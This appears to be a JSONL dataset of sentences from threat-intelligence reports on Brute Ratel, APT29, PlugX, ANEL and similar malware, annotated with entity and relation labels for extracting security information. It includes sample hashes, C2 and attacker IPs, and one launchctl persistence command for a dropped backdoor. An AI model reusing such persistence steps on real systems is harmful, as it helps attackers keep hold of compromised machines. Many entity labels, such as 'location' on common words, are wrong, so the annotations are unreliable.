{"id":6417,"text":"This impersonation does not imply a vulnerability in Microsoft\u2019s products or services.  Brute Ratel C4 ISO Samples:  1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C  X64 Brute Ratel C4 Windows Kernel Module:  31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069  APT29 ISO Samples:  F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46  ","entities":[{"id":19912,"label":"SHA2","start_offset":117,"end_offset":181},{"id":19914,"label":"SHA2","start_offset":226,"end_offset":290},{"id":19915,"label":"threat-actor","start_offset":292,"end_offset":297},{"id":19916,"label":"SHA2","start_offset":312,"end_offset":376}],"relations":[],"Comments":[]}
{"id":1002,"text":"By using this kind of account, a user can perform a developer unlock on their Windows Phone devices without incurring a fee.","entities":[],"relations":[],"Comments":[]}
{"id":2024,"text":" We have observed two different samples of the HelloXD ransomware publicly available, indicating it is still under development by the author(s).","entities":[{"id":6000,"label":"malware","start_offset":47,"end_offset":54}],"relations":[],"Comments":[]}
{"id":949,"text":"Taomike has not previously been associated with malicious activity, but a recent update to their software added SMS theft functionality.","entities":[{"id":46458,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
{"id":3074,"text":"In March of 2014, a Fake AV app named \u201cVirus Shield\u201d was listed for sale at $3.99 and quickly rose to the top position of Google Play\u2019s New Paid Apps list.","entities":[{"id":48141,"label":"malware","start_offset":39,"end_offset":51},{"id":48142,"label":"SOFTWARE","start_offset":122,"end_offset":134},{"id":48143,"label":"TIME","start_offset":3,"end_offset":16}],"relations":[],"Comments":[]}
{"id":14233,"text":"Among them is an algorithm utilized by PlugX.","entities":[{"id":48419,"label":"malware","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
{"id":4837,"text":"Both, however, enable attacks by those who would otherwise lack the capabilities to do so.","entities":[],"relations":[],"Comments":[]}
{"id":11965,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":13747,"text":"During our investigation, we noticed that the value \"OracleOciLib\" was deleted from the victim's machine, as shown in Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":1565,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":164,"text":"It goes after the files users are most likely to care about.","entities":[],"relations":[],"Comments":[]}
{"id":4481,"text":"They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.","entities":[],"relations":[],"Comments":[]}
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{"id":4709,"text":"And we don\u2019t just plug security holes \u2013 we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[],"relations":[],"Comments":[]}
{"id":4464,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups\u2019s marketing information suggesting that they had a 0-day exploit for Android.","entities":[{"id":50250,"label":"threat-actor","start_offset":72,"end_offset":82},{"id":50251,"label":"SOFTWARE","start_offset":152,"end_offset":159},{"id":50248,"label":"TIME","start_offset":3,"end_offset":7},{"id":50249,"label":"threat-actor","start_offset":42,"end_offset":51},{"id":50252,"label":"attack-pattern","start_offset":134,"end_offset":147}],"relations":[],"Comments":[]}
{"id":2514,"text":" Conti also stands out as unreliable.","entities":[{"id":45557,"label":"threat-actor","start_offset":1,"end_offset":6}],"relations":[],"Comments":[]}
{"id":3882,"text":"A more detailed analysis of the Command-and-Control communication flow of ANEL can be found in this technical brief.","entities":[{"id":49738,"label":"malware","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
{"id":11144,"text":"We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.","entities":[],"relations":[],"Comments":[]}
{"id":8111,"text":"The malware retrieves a specific exploit from the C&C server depending on the DEX downloaded by the dropper.","entities":[],"relations":[],"Comments":[]}
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{"id":14387,"text":"Mark Nunnikhoven does a great job in this post talking about lateral movement.","entities":[{"id":51801,"label":"identity","start_offset":0,"end_offset":16},{"id":51802,"label":"attack-pattern","start_offset":61,"end_offset":77}],"relations":[],"Comments":[]}
{"id":1434,"text":", soon attackers and malware authors will turn their attention to exploiting vulnerabilities surrounding Android app certificates.","entities":[{"id":46766,"label":"SOFTWARE","start_offset":105,"end_offset":116}],"relations":[],"Comments":[]}
{"id":1137,"text":"But because the mutex name is set at compile time, the mutex itself offers a common thread between all of the samples we collected and analyzed.","entities":[],"relations":[],"Comments":[]}
{"id":4966,"text":"To protect our users, Google\u2019s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[{"id":51011,"label":"identity","start_offset":22,"end_offset":58}],"relations":[],"Comments":[]}
{"id":3839,"text":"At that time, ChessMaster was using ANEL as a backdoor into the target system then injects code into svchost.exe, which then decrypts and activates the embedded backdoor.","entities":[{"id":49694,"label":"malware","start_offset":14,"end_offset":25},{"id":49695,"label":"malware","start_offset":36,"end_offset":40},{"id":49696,"label":"FILEPATH","start_offset":101,"end_offset":112}],"relations":[],"Comments":[]}
{"id":4849,"text":"Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.","entities":[{"id":50814,"label":"TIME","start_offset":6,"end_offset":10},{"id":50815,"label":"location","start_offset":55,"end_offset":61},{"id":50816,"label":"attack-pattern","start_offset":62,"end_offset":75},{"id":50817,"label":"location","start_offset":123,"end_offset":129},{"id":50818,"label":"identity","start_offset":159,"end_offset":164},{"id":50819,"label":"identity","start_offset":169,"end_offset":177}],"relations":[],"Comments":[]}
{"id":12150,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]}
{"id":868,"text":"In early 2015, Emnisoft identified a new family of malware named PClock.","entities":[{"id":46402,"label":"identity","start_offset":15,"end_offset":23},{"id":46405,"label":"TIME","start_offset":3,"end_offset":13},{"id":46403,"label":"malware","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
{"id":3152,"text":"According to recent Trend Micro research, many global organizations are already struggling to securely manage their cloud assets.","entities":[{"id":48270,"label":"identity","start_offset":20,"end_offset":31}],"relations":[],"Comments":[]}
{"id":3833,"text":"Base64 encoded ANEL downloaded by Koadic ANEL will send the infected environment\u2019s information to the C&C server.","entities":[{"id":49689,"label":"malware","start_offset":15,"end_offset":19},{"id":49690,"label":"malware","start_offset":34,"end_offset":40},{"id":49691,"label":"malware","start_offset":41,"end_offset":45},{"id":49692,"label":"Infrastucture","start_offset":102,"end_offset":112}],"relations":[{"id":860,"from_id":49690,"to_id":49689,"type":"downloads"},{"id":861,"from_id":49691,"to_id":49692,"type":"exfiltrates-to"}],"Comments":[]}
{"id":1640,"text":" In total we\u2019ve found 18 different applications in the Google Play store that contain the Funtasy Trojan.","entities":[{"id":46863,"label":"malware","start_offset":90,"end_offset":97},{"id":46864,"label":"SOFTWARE","start_offset":55,"end_offset":66}],"relations":[{"id":242,"from_id":46864,"to_id":46863,"type":"hosts"}],"Comments":[]}
{"id":6992,"text":"     Figure 18. CapraRAT APK file drops an mp4 file     The RAT also has a persistence mechanism that always keeps the app active.","entities":[{"id":21897,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
{"id":4762,"text":"We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.","entities":[],"relations":[],"Comments":[]}
{"id":9752,"text":"The PowerShell code has several layers of obfuscation.","entities":[{"id":29739,"label":"attack-pattern","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]}
{"id":9320,"text":" Group Encryption Algorithm JavaScript Library Magecart Group 11 AES Gibberish-AES ReactGet RSA JSEncrypt Mirrorthief AES Crypto-JS   Table 2. Comparison of encryption algorithms used by the different groups","entities":[{"id":28757,"label":"location","start_offset":39,"end_offset":46},{"id":28758,"label":"malware","start_offset":47,"end_offset":55},{"id":28759,"label":"malware","start_offset":69,"end_offset":78},{"id":28760,"label":"identity","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
{"id":1147,"text":"However, and lucky for us, the malware author was arrested in 2010 so several of the hypothesis can be verified.","entities":[{"id":46573,"label":"TIME","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
{"id":3133,"text":"When devices (in this case, the routers) are under someone else\u2019s control like this, the collection is referred to as a \u201cbotnet\u201d, a network (-net) of remotely controlled systems or devices (bot-).","entities":[],"relations":[],"Comments":[]}
{"id":9695,"text":" The final 5-byte sequence looks like F3 00 00 00 92 0D.","entities":[],"relations":[],"Comments":[]}
{"id":4127,"text":"In our investigation, we also found a suspicious executable named telegram.exe.","entities":[{"id":49926,"label":"FILEPATH","start_offset":66,"end_offset":78}],"relations":[],"Comments":[]}
{"id":986,"text":"When developers incorporate the libraries into their apps they need to carefully test them and monitor for any abnormal activities.","entities":[],"relations":[],"Comments":[]}
{"id":14292,"text":"The spyware displays the online dating scam website upon the installation of the malicious Virtual Girlfriend app What will be shown is the registration page of an online dating site, which will lure users into giving out their credit card information.","entities":[],"relations":[],"Comments":[]}
{"id":9849,"text":"Figure 13. Avenger2 with internal URL Casper Casper is a modified version of the Cobalt Strike backdoor, showing the team server SHA1 hash if the controller connects to the C&C.","entities":[],"relations":[],"Comments":[]}
{"id":1465,"text":"The most famous set of key pairs would be the key pairs included within the AOSP source files (in Table 1, below).  ","entities":[{"id":46774,"label":"SOFTWARE","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
{"id":10244,"text":"We think that Pawn Storm compromises lots of email accounts through brute force attacks on internet-facing services like email, LDAP, Microsoft Autodiscover, SMB, and SQL.","entities":[{"id":31294,"label":"threat-actor","start_offset":14,"end_offset":24},{"id":31295,"label":"attack-pattern","start_offset":68,"end_offset":79},{"id":31297,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]}
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{"id":4787,"text":"The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.","entities":[{"id":50687,"label":"identity","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
{"id":14407,"text":"These activities may be difficult to identify for defenders due to the use of these things like:     PSEXEC to execute a program from remote system Schedule a remote task to execute back door or malicious code RDP or net use to connect to other hosts","entities":[{"id":47165,"label":"SOFTWARE","start_offset":210,"end_offset":214},{"id":44527,"label":"malware","start_offset":101,"end_offset":107}],"relations":[],"Comments":[]}
{"id":2101,"text":"Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":5092,"text":"The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.","entities":[],"relations":[],"Comments":[]}
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{"id":1659,"text":"The producer of the NetWire WorldWiredLabs, states that the tool uses 256-bit AES encryption, which we found to be accurate.","entities":[{"id":45091,"label":"malware","start_offset":20,"end_offset":42}],"relations":[],"Comments":[]}
{"id":968,"text":"SMS information collected by the receiver is saved in a hashmap with \u201cother\u201d as the key and sent to a method that uploads the message to 112.126.69.51 as shown in Figure 4.","entities":[{"id":3036,"label":"IPV4","start_offset":137,"end_offset":150}],"relations":[],"Comments":[]}
{"id":1034,"text":"However, identity theft is a global concern and the Chinese citizen ID is no exception, allowing for potential sellers to simply purchase a usable identity online.","entities":[{"id":46528,"label":"attack-pattern","start_offset":8,"end_offset":23}],"relations":[],"Comments":[]}
{"id":4016,"text":"In July 2020, we noticed interesting activity coming from the group, and we have been closely monitoring it since.","entities":[{"id":49867,"label":"TIME","start_offset":3,"end_offset":12}],"relations":[],"Comments":[]}
{"id":13648,"text":"While their phishing tools are basic (i.e., no backdoors, trojans, and other malware), they made use of public cloud services to conduct their operations.","entities":[{"id":51735,"label":"attack-pattern","start_offset":12,"end_offset":20},{"id":51736,"label":"Infrastucture","start_offset":104,"end_offset":125}],"relations":[],"Comments":[]}
{"id":14378,"text":"On the other end are places like some large banking and R&D companies that can manage about 98 or 99%.","entities":[],"relations":[],"Comments":[]}
{"id":5130,"text":"We talk about north\/south traffic with the network, which is basically inside the network to outside of the network, so out to the the internet and back.","entities":[],"relations":[],"Comments":[]}
{"id":8196,"text":"    We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.","entities":[],"relations":[],"Comments":[]}
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{"id":3098,"text":" Until then, the makers of operating systems can (and have) released patches that make the physical-layer vulnerabilities inaccessible.","entities":[],"relations":[],"Comments":[]}
{"id":7672,"text":"Trend Micro\u2122 Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":23857,"label":"location","start_offset":55,"end_offset":60},{"id":23858,"label":"location","start_offset":105,"end_offset":115},{"id":23859,"label":"location","start_offset":119,"end_offset":123},{"id":23860,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":23861,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
{"id":14031,"text":"As such, not all samples may have the embedded resource that leaks the same OS language.","entities":[],"relations":[],"Comments":[]}
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{"id":130,"text":" The malicious activity itself doesn\u2019t cause long-term damage to systems, and ends as soon as users leave the malicious or compromised site.","entities":[],"relations":[],"Comments":[]}
{"id":4654,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
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{"id":11742,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
{"id":7853,"text":"If an attacker has control over a PC, which the Android device is attached to (for charging or for other purposes), they don\u2019t need to get physical access to the phone.","entities":[],"relations":[],"Comments":[]}
{"id":3778,"text":" Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":49616,"label":"identity","start_offset":116,"end_offset":145},{"id":49613,"label":"identity","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
{"id":4830,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor\u2019s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":50783,"label":"identity","start_offset":71,"end_offset":78},{"id":50785,"label":"SOFTWARE","start_offset":204,"end_offset":219},{"id":50786,"label":"tools","start_offset":257,"end_offset":270},{"id":50784,"label":"identity","start_offset":136,"end_offset":175},{"id":14710,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":14713,"label":"threat-actor","start_offset":82,"end_offset":90}],"relations":[{"id":1015,"from_id":14713,"to_id":14710,"type":"duplicate-of"},{"id":1016,"from_id":14710,"to_id":50784,"type":"targets"},{"id":1017,"from_id":14710,"to_id":50785,"type":"uses"},{"id":1018,"from_id":14710,"to_id":50786,"type":"uses"}],"Comments":[]}
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{"id":13021,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
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{"id":8034,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate \u2013 as they know it's difficult for users to detect this kind of attack.","entities":[{"id":24923,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":24924,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
{"id":4626,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":50537,"label":"identity","start_offset":55,"end_offset":61},{"id":50538,"label":"threat-actor","start_offset":132,"end_offset":137},{"id":50539,"label":"threat-actor","start_offset":142,"end_offset":157},{"id":50540,"label":"location","start_offset":162,"end_offset":169},{"id":50536,"label":"identity","start_offset":11,"end_offset":14}],"relations":[{"id":980,"from_id":50538,"to_id":50540,"type":"located-at"},{"id":981,"from_id":50539,"to_id":50540,"type":"located-at"}],"Comments":[]}
{"id":8857,"text":"A closer look at PlugX svchost injection","entities":[{"id":27412,"label":"tools","start_offset":17,"end_offset":22}],"relations":[],"Comments":[]}
{"id":1140,"text":"The first thing our researchers noticed was the similarity between this mutex name and the previous one.","entities":[],"relations":[],"Comments":[]}
{"id":570,"text":"Some Virlock variants ask for more ransom, such as 0.771 BTC, 1.008 BTC or more.","entities":[{"id":44782,"label":"malware","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
{"id":4715,"text":"We remediated the compromises for these users and implemented controls to protect all Android users.","entities":[{"id":50609,"label":"SOFTWARE","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]}
{"id":14017,"text":"However, there is a secondary effect when the version resource is added to a binary.","entities":[],"relations":[],"Comments":[]}
{"id":14323,"text":"Code snippet of the malicious extension plugin Connection between Round Year Fun and Maikspy","entities":[{"id":48547,"label":"malware","start_offset":85,"end_offset":92}],"relations":[],"Comments":[]}
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{"id":9659,"text":"Property list with persistence settings launchctl load \/Library\/LaunchDaemons\/filename.plist > \/dev\/nul or launchctl load ~\/Library\/LaunchAgents\/ filename.plist > \/dev\/nul will then command the operating system to start the dropped backdoor file at login.","entities":[{"id":29553,"label":"location","start_offset":9,"end_offset":13},{"id":29554,"label":"attack-pattern","start_offset":40,"end_offset":49},{"id":29555,"label":"location","start_offset":50,"end_offset":54},{"id":29556,"label":"attack-pattern","start_offset":107,"end_offset":116},{"id":29557,"label":"location","start_offset":117,"end_offset":121},{"id":29558,"label":"location","start_offset":172,"end_offset":176},{"id":29559,"label":"location","start_offset":214,"end_offset":219}],"relations":[],"Comments":[]}
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{"id":8026,"text":"In this blog, we explore some of the most notable campaigns we\u2019ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":24889,"label":"location","start_offset":37,"end_offset":41},{"id":24893,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
{"id":6898,"text":"Upon reviewing phishing attempts since the beginning of this year, we\u2019ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.","entities":[{"id":21584,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":21587,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
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{"id":3216,"text":"      Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":3828,"text":"Variable}.WMI.createProcess Creates specified process {Variable}.shell File\/Process Execution functions {Variable}.shell.run Run commands {Variable}.shell.exec Executes process {Variable}.file File-related functions {Variable}.file.getPath Get specified file path {Variable}.file.readText Reads specified text file {Variable}.file.get32BitFolder Get System Folder (32\/64-bit) {Variable}.file.writol Writes on specified file {Variable}.file.deleteFile Deletes specified file {Variable}.file.readBinary Reads specified binary file.    Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":3111,"text":" The greatest area of risk is in shared-hosting scenarios.","entities":[],"relations":[],"Comments":[]}
{"id":6938,"text":"      Figure 3. An example of a coronavirus-related spear-phishing email attachment     Once the victim downloads the malicious macro, it will decrypt an embedded executable dropper that is hidden inside a text box, which will then be saved to a hardcoded path prior to it executing in the machine.      Figure 4. Malicious macro that decrypts an executable hidden inside a text box      Figure 5. Examples of encrypted Crimson RAT executables hidden inside text boxes     Once the executable file is executed, it will proceed to unzip a file named mdkhm.zip and then execute a Crimson RAT executable named dlrarhsiva.exe.","entities":[{"id":21716,"label":"location","start_offset":52,"end_offset":57},{"id":21717,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":21718,"label":"location","start_offset":138,"end_offset":142},{"id":21719,"label":"location","start_offset":222,"end_offset":226},{"id":21722,"label":"malware","start_offset":420,"end_offset":431},{"id":21723,"label":"location","start_offset":514,"end_offset":518},{"id":21724,"label":"location","start_offset":559,"end_offset":562},{"id":21725,"label":"malware","start_offset":578,"end_offset":589}],"relations":[],"Comments":[]}
{"id":8339,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":11586,"text":"In collaboration with TAG, Project Zero has published the technical analysis of CVE-2021-30983.","entities":[],"relations":[],"Comments":[]}
{"id":4856,"text":"This hack-for-hire actor has been publicly referred to as 'Void Balaur'.","entities":[{"id":50838,"label":"attack-pattern","start_offset":5,"end_offset":18},{"id":14831,"label":"threat-actor","start_offset":59,"end_offset":70}],"relations":[],"Comments":[]}
{"id":2247,"text":"When the previously mentioned C2 response is both decoded and decrypted, we are presented with the following data:  The command structure of the C2 response always begins with the string \u2018tick\u2019","entities":[],"relations":[],"Comments":[]}
{"id":217,"text":"The .onion site links to an entity calling themselves \u201cFree Civilian\u201d and offering to sell databases containing the personal data of Ukrainian citizens.","entities":[],"relations":[],"Comments":[]}
{"id":1936,"text":"   Urpage Bahamut Confucius Patchwork \"BioData\" Delphi backdoor and file stealer X   X X VB backdoor X       Android \"Bahamut-like\" malware X X   X Custom Android malware     X   AndroRAT Android malware       X InPage malicious documents X   X   simply obfuscated HTA downloaders X   X   IOS malware X       Confucius malware     X   remote-access-c3 backdoor     X   Sneepy\/Byebye shell malware     X   Python cloud filestealers     X   AllaKore RAT     X   Badnews malware       X QuasarRAT       X NDiskMonitor malware       X   Targets","entities":[{"id":5685,"label":"threat-actor","start_offset":3,"end_offset":9},{"id":5686,"label":"threat-actor","start_offset":10,"end_offset":17},{"id":5687,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":5688,"label":"threat-actor","start_offset":28,"end_offset":37},{"id":5689,"label":"malware","start_offset":39,"end_offset":46},{"id":5693,"label":"malware","start_offset":118,"end_offset":125},{"id":5694,"label":"malware","start_offset":179,"end_offset":187},{"id":5695,"label":"threat-actor","start_offset":309,"end_offset":318},{"id":5697,"label":"malware","start_offset":369,"end_offset":375},{"id":5700,"label":"malware","start_offset":439,"end_offset":451},{"id":5701,"label":"malware","start_offset":460,"end_offset":467},{"id":5702,"label":"malware","start_offset":484,"end_offset":493},{"id":5703,"label":"malware","start_offset":502,"end_offset":514},{"id":47059,"label":"SOFTWARE","start_offset":155,"end_offset":162},{"id":47060,"label":"malware","start_offset":376,"end_offset":382}],"relations":[],"Comments":[]}
{"id":410,"text":" This surge in unauthorized coin mining is driven, in large part, by the recent skyrocketing in the value of digital currencies like bitcoin.","entities":[{"id":46107,"label":"SOFTWARE","start_offset":133,"end_offset":140},{"id":46108,"label":"attack-pattern","start_offset":15,"end_offset":39}],"relations":[],"Comments":[]}
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{"id":14316,"text":"Code snippets of the scanning, fetching, and uploading of .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files (left).","entities":[],"relations":[],"Comments":[]}
{"id":2960,"text":"The faster the good guys track these down and get them patched, the harder we make the lives of the criminals looking to exploit them.","entities":[],"relations":[],"Comments":[]}
{"id":261,"text":"We also found that these fake download campaigns rotate domains to distribute the same malicious binaries.","entities":[{"id":44664,"label":"attack-pattern","start_offset":25,"end_offset":38},{"id":44665,"label":"attack-pattern","start_offset":87,"end_offset":105}],"relations":[],"Comments":[]}
{"id":14107,"text":"Screenshot functionality comparison between SLUB and APT37     Working Hours","entities":[{"id":43645,"label":"malware","start_offset":44,"end_offset":48},{"id":43647,"label":"threat-actor","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
{"id":2780,"text":"The tool is designed to \u201cmine\u201d cryptocurrencies, that is it earns credit in the cryptocurrency in exchange for computing power that is used to power the cryptocurrencies\u2019 digital infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":139,"text":"In our updated report on ransomware from Unit 42, \u201cRansomware: Unlocking the Lucrative Criminal Business Model,\u201d Unit 42 researcher Bryan Lee notes: \u201cIn 2016, it was thought that there were less than one hundred active ransomware variants out in the wild.","entities":[{"id":45846,"label":"identity","start_offset":41,"end_offset":48},{"id":45847,"label":"TIME","start_offset":153,"end_offset":157},{"id":45844,"label":"identity","start_offset":113,"end_offset":120},{"id":45845,"label":"identity","start_offset":132,"end_offset":141}],"relations":[],"Comments":[]}
{"id":4056,"text":"     Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":4041,"text":"     Figure 2. Timestomping used on the bin file     The decryption key is used as an argument of Nerapack and various keys are used on different victims.","entities":[{"id":49893,"label":"malware","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
{"id":2322,"text":"After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run.","entities":[{"id":47397,"label":"SOFTWARE","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
{"id":13488,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[],"relations":[],"Comments":[]}
{"id":3634,"text":"Rather than simply using a theme or lure that is relevant to the target, the attackers behind these attacks use an email conversation that\u2019s in progress to carry out their attack.","entities":[],"relations":[],"Comments":[]}
{"id":13270,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":6084,"text":"The loader can be recognized by its use of a unique user-agent \u201cbumblebee\u201d which both variants share.","entities":[{"id":18780,"label":"location","start_offset":11,"end_offset":14},{"id":18781,"label":"malware","start_offset":64,"end_offset":73}],"relations":[],"Comments":[]}
{"id":1816,"text":"Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.","entities":[{"id":46933,"label":"SOFTWARE","start_offset":24,"end_offset":46}],"relations":[],"Comments":[]}
{"id":5542,"text":"Developing new skimming code which is usable across as many different payment pages as possible.","entities":[{"id":51538,"label":"attack-pattern","start_offset":15,"end_offset":28}],"relations":[],"Comments":[]}
{"id":1268,"text":"Figure 3 shows a GIF file containing an obituary notice for a woman, while Figure 4 shows a Microsoft Word document containing the obituary of a man.","entities":[{"id":46643,"label":"SOFTWARE","start_offset":92,"end_offset":106}],"relations":[],"Comments":[]}
{"id":2481,"text":"Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14.","entities":[{"id":45533,"label":"IPV4","start_offset":63,"end_offset":78},{"id":47557,"label":"attack-pattern","start_offset":104,"end_offset":112},{"id":47558,"label":"vulnerability","start_offset":32,"end_offset":43}],"relations":[],"Comments":[]}
{"id":10285,"text":"Code snippets showing keylogs     This secondary payload does not have any function to upload the collected keystrokes back to the attacker.","entities":[],"relations":[],"Comments":[]}
{"id":939,"text":" While not all SMS-based IAP applications steal user data, we recently identified that the Chinese Taomike SDK has begun capturing copies of all messages received by the phone and sending them to a Taomike controlled server.","entities":[{"id":46449,"label":"location","start_offset":91,"end_offset":98},{"id":44904,"label":"attack-pattern","start_offset":42,"end_offset":57},{"id":44905,"label":"malware","start_offset":99,"end_offset":110},{"id":44907,"label":"Infrastucture","start_offset":198,"end_offset":223}],"relations":[{"id":37,"from_id":44905,"to_id":44907,"type":"exfiltrates-to"},{"id":38,"from_id":44905,"to_id":44907,"type":"communicates-with"},{"id":190,"from_id":44905,"to_id":46449,"type":"located-at"},{"id":191,"from_id":44905,"to_id":44904,"type":"uses"}],"Comments":[]}
{"id":10251,"text":"These brute force attacks started in 2019, and then we could firmly attribute them to Pawn Storm because we could cross-relate the extensive probing of Microsoft Autodiscover servers around the world with high-confidence indicators of the group\u2019s more traditional attack methods (spear phishing and credential phishing).","entities":[{"id":31324,"label":"attack-pattern","start_offset":6,"end_offset":17},{"id":31326,"label":"location","start_offset":43,"end_offset":46},{"id":31327,"label":"location","start_offset":78,"end_offset":82},{"id":31328,"label":"threat-actor","start_offset":86,"end_offset":96},{"id":31329,"label":"location","start_offset":114,"end_offset":119},{"id":31332,"label":"location","start_offset":194,"end_offset":199},{"id":31333,"label":"location","start_offset":210,"end_offset":220},{"id":31334,"label":"attack-pattern","start_offset":280,"end_offset":294},{"id":31335,"label":"location","start_offset":295,"end_offset":298},{"id":31336,"label":"attack-pattern","start_offset":310,"end_offset":318}],"relations":[],"Comments":[]}
{"id":10485,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
{"id":6742,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":21033,"label":"location","start_offset":12,"end_offset":20},{"id":21034,"label":"location","start_offset":34,"end_offset":40},{"id":21036,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21038,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":1065,"text":"But until now, based on the latest research in the IEEE Security & Privacy paper, everyone has believed that malicious apps attempting to carry out overlay attacks must overcome two significant hurdles to be successful:  These are significant mitigating factors and so overlay attacks haven\u2019t been reckoned a serious threat.","entities":[{"id":46549,"label":"identity","start_offset":51,"end_offset":55},{"id":44929,"label":"attack-pattern","start_offset":269,"end_offset":284},{"id":44930,"label":"attack-pattern","start_offset":148,"end_offset":163}],"relations":[],"Comments":[]}
{"id":6632,"text":" The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns.","entities":[{"id":20576,"label":"threat-actor","start_offset":5,"end_offset":15},{"id":20577,"label":"location","start_offset":62,"end_offset":65},{"id":20578,"label":"location","start_offset":96,"end_offset":101},{"id":20579,"label":"attack-pattern","start_offset":102,"end_offset":110},{"id":20580,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
{"id":12578,"text":"The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.","entities":[],"relations":[],"Comments":[]}
{"id":2554,"text":"The answer is simple: credential theft.","entities":[{"id":47748,"label":"attack-pattern","start_offset":22,"end_offset":38}],"relations":[],"Comments":[]}
{"id":11253,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]}
{"id":75,"text":"There is no single solution to stopping these attacks, but the same technologies and policies you use to prevent other malware infections will be effective.","entities":[{"id":44590,"label":"attack-pattern","start_offset":119,"end_offset":137}],"relations":[],"Comments":[]}
{"id":1163,"text":"And indeed, as with the second hypothesis, standard virus detection logs prove that each of these mutexes do span multiple variants of the worm.","entities":[],"relations":[],"Comments":[]}
